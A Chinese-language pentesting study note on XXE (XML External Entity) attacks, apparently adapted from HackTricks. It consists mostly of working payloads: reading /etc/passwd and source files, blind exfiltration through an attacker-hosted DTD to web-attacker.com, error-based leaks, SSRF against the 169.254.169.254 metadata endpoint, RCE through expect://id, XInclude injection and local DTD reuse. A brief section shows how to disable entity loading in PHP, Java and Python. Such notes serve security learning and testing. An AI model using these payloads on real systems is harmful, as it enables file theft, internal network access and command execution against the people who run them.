参考:
https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
简介
是什么
XXE ,XML External Entity 的缩写。利用得当,可以读取敏感文件、SSRF、DOS,甚至 RCE
-
XML 是 可扩展标记语言,用来存储和传递数据。但现在逐渐被 json 所取代。
-
XML 使用 DTD(文档类型定义 ) 来约束 XML 文档格式。
-
XML 实体是 XML 文档中表示数据的一种方式,例如 < 会被表示为 < (类似于宏替换)。实体定义在 DTD 中。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE foo [ # 实体,在文档中使用 <!ENTITY myentity "my entity value" > # 参数实体,只能在 DTD 中使用 <!ENTITY % myparameterentity "my_parameter_entity_value" > <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%myparameterentity;'>"> # 外部实体,代表的是外部资源的内容,在文档中使用 <!ENTITY flag SYSTEM "file:///flag.php"> <!ENTITY flaga SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> # 外部参数实体,引用 dtd 文件,文件内容必须是实体的定义,在参数中使用 <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/mal.dtd"> %xxe; ]> <data>&myentity;&flag;&flaga;</data>
攻击
- 发现攻击面
- 绕过防御
- 利用
主要用 fuzzing 字典就够了。
存在的限制
可能不回显数据,则只能通过外部参数实体来获取数据。但很可能禁用外部参数实体。
防御
禁用实体、过滤关键字。
# 禁用外部实体设置
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexml
Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
发现攻击面
在探测时首先要确定能否回显数据?是否回显错误信息?如果答案是否,那么就用盲 XXE 探测。
通常会通过 xml 提交很多数据,要一个个测试哪个会回显。
-
数据包中显然使用 XML 。
-
尝试更改数据包提交格式,或许程序就支持 xml 解析
Content-Type: application/x-www-form-urlencoded application/json; # 更改为 application/xml;
-
文件与 XXE 。
某些文件格式包含 XML 数据,当文件被打开运行时,就有可能出现 XXE。详见这篇
例如 SVG 、PDF、DOC、EXECL。
向文件中插入 XSS 、XXE payload 工具 docem
-
如果无法控制 xml DTD,但数据最终会转移到 xml 文档中被处理。
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
因为不能控制 DTD,所以通常的 XXE 都会失效。但可能可以使用 XInclude 。XInclude 是 XML 一种规范,允许内嵌子文档。
-
其它不太常见的,遇到了再检索资料。
SOAP
RSS
利用
读取文件
为了使读取文件完整,可以借助 php wrapper 读取文件。而报错回显,不太需要。
-
回显数据
# 直接读取 <!--?xml version="1.0" ?--> <!DOCTYPE foo [ <!ENTITY example SYSTEM "/etc/passwd"> ]> <data>&example;</data> # 当可能读取文件不完整时,可以借助 php wrapper <!--?xml version="1.0" ?--> <!DOCTYPE replace [ <!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <data>&example;</data> # 通过报错,必须使用外部参数实体,见下文外部参数实体中示例
-
不回显,通过http 请求带出数据
# 通过 http ,必须使用外部参数实体,见下文外部参数实体中示例
外部参数实体
通过报错方式、或通过 http 请求带出数据,都需要支持外部参数实体。这块有两点要注意的:
- 数据必须是通过参数实体读取到的。本质上讲都是要将数据传给 url ,而 url 位于 dtd 中,只有参数实体才能在 dtd 中使用。
- 必须使用外部参数实体,因为实体不允许在 dtd 中嵌套参数实体。而外部参数实体可以。
# 当读取文件时,你可能会想到通过 http 请求带出数据。
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
]>
<data>&exfiltrate;</data>
# 或者
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
%exfiltrate;
]>
# 但以上两种方式都是不可行的,会爆出类似错误信息:XML parser exited with non-zero code 1: The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD.
# 大概意思是参数实体 %file; 不能出现在内部 DTD 内。所以此时需要外部参数 DTD
# 提交攻击载荷,无论是通过 http、报错,都一样
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd">
%xxe;
]>
# 攻击者控制的 malicious.dtd 恶意 dtd 文件
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
# 这样,可以达到,你可能会疑问,为什么 dtd 文件中要写成这种嵌套的形式。省略掉 eval 不行吗?
# 实际上,当省略了之后,不会生效,x 的参数就为 %file; 这六个字符。
注意,必须有 eval 参数实体,因为单层不识别,即以下会无反应。
# 上面是读取文件的例子,下面是诱发报错的 dtd 文件内容。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
# dtd 文件名没有要求,不一定后缀必须为 .dtd ,只要是文本文件,内容符合即可
# http 请求必须完整 http:// 不能简写 \\
SSRF
# 实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/">
]>
<data>&xxe;</data>
# 参数实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://169.254.169.254/">
%xxe;
]>
RCE
php wrapper 中有 expect:// ,但默认是不开启的。见 php xxe to rce
java readObject 如果可以控制 readObject 输入的话。那么可以通过导入 XMLDecoder 类 获取 RCE 。详见 jave xxe to rce
dos
dos 攻击 https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#dos
一些技巧
XML 外部实体不能直接通过浏览器浏览该 xml 查看。
参数实体重用
当不允许新定义实体,则可以尝试参数实体重用。
前提是存在可重用的 dtd 文件。
当出现混用时,内部实体可以重用外部实体中已定义的实体。
Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
wrapper
不同语言、不同配置对 wrapper 的支持不同。wrapper 可以扩大利用面。
下面是 php wrapper 。可以绕过、对文件编码、甚至命令执行等等。
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>